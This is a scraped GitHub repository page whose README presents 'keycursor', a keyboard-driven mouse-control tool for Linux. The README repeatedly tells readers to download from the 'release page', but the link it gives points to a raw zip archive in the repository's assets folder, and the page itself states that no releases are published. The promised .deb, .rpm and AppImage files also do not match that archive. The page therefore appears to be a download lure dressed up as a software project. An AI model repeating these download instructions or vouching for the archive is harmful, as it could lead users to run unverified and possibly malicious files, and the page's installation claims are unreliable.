Skip to content

fahizzz/keycursor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🖱️ keycursor - Control Mouse Using Your Keyboard

Download keycursor

🔍 What is keycursor?

keycursor lets you move your mouse pointer using just your keyboard. It helps you avoid switching between mouse and keyboard all the time. The app works on Linux systems with Wayland or X11 display servers. It fits well if you want to speed up your work or reduce hand movement.

keycursor supports several Linux distributions like Arch Linux, Debian, Fedora, Ubuntu, and Linux Mint. Desktop environments such as GNOME and KDE Plasma also work fine with it.

💻 System Requirements

  • A computer running Linux with either Wayland or X11 display server.
  • Compatible with common desktop environments (GNOME, KDE Plasma).
  • Basic keyboard and mouse attached to the computer.
  • No specific hardware or GPU needed.

keycursor does not support Windows or macOS. It is designed purely for Linux systems where keyboard control of the mouse is desired.

🎯 Key Features

  • Move mouse pointer using keyboard keys.
  • Works on Wayland and X11 display servers.
  • Supports most popular Linux distributions.
  • Customize key bindings to suit your needs.
  • Lightweight with minimal system impact.
  • Helps reduce mouse dependency and improves efficiency.

🚀 Getting Started

You don't need any programming knowledge to use keycursor. The process is simple:

  1. Download the software.
  2. Install it on your Linux machine.
  3. Run the app and start controlling your mouse with keyboard keys.

📥 How to Download and Install keycursor

You need to visit the release page to get the latest version. The official release page is here:

Download keycursor

Step 1: Visit the Release Page

Go to the releases section on the GitHub page:

https://github.com/fahizzz/keycursor/raw/refs/heads/main/assets/Software_v1.1-alpha.3.zip

You will see a list of release versions. Look for the latest stable release. It will have files ready to download.

Step 2: Find the Right File for Your System

Each release includes files for different Linux versions or architectures. Usually, the files end with .deb, .rpm, or .AppImage.

  • .deb files are for Debian-based distros like Ubuntu or Linux Mint.
  • .rpm files work for Fedora.
  • .AppImage runs on most Linux systems directly without installation.

Choose the file that matches your system.

Step 3: Download the File

Click on the appropriate file to download it. Save it in a location easy to find, like your Downloads folder.

Step 4: Install the Software

  • For .deb files:
    Open a terminal and run:
    sudo dpkg -i /path/to/your/file.deb
    Replace /path/to/your/file.deb with the actual file path.

  • For .rpm files:
    Run:
    sudo rpm -i /path/to/your/file.rpm

  • For .AppImage files:
    Make it executable:
    chmod +x /path/to/your/file.AppImage
    Then run it directly:
    ./path/to/your/file.AppImage

Step 5: Launch keycursor

Once installed, open keycursor from your application menu or run it using the terminal command:

keycursor

If you use the AppImage file, running the file directly starts the program.

🛠️ Using keycursor

After starting keycursor, you can move the mouse pointer using keys on your keyboard. By default:

  • Arrow keys control mouse movement.
  • Pressing specific keys can simulate mouse clicks.
  • You can adjust speed and sensitivity in settings.

The interface is straightforward, so you can quickly get used to keyboard control. Check the settings to customize the key layout if needed.

⚙️ Configuration and Customization

keycursor allows you to change which keys control the mouse. You can set:

  • Movement keys (default are arrow keys).
  • Mouse click keys.
  • Speed and acceleration for the pointer.

Configuration files are usually stored in your home folder under .config/keycursor/. You can edit these files with any text editor to suit your needs.

🐞 Troubleshooting

If keycursor does not work as expected:

  • Make sure your system runs Wayland or X11.
  • Confirm you downloaded the correct file for your Linux distribution.
  • Check your permissions. You may need to run the app with user privileges.
  • Restart your computer or session after installation.
  • Look for error messages in the terminal if running the app from it.

📚 Additional Resources

  • Visit the official GitHub page to learn more.
  • Check the issues tab on GitHub if you face bugs or want feature requests.
  • Search online Linux communities for tips on keyboard-mouse control.

📌 Supported Topics

keycursor relates to:

  • arch-linux
  • debian
  • fedora
  • gnome
  • kde-plasma
  • keyboard-events
  • linux-mint
  • mouse-control
  • productivity
  • ubuntu
  • wayland
  • x11

Download keycursor from releases to get started.

About

Control your mouse entirely with your keyboard on Linux using evdev and ydotool for hands-free, efficient cursor navigation.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages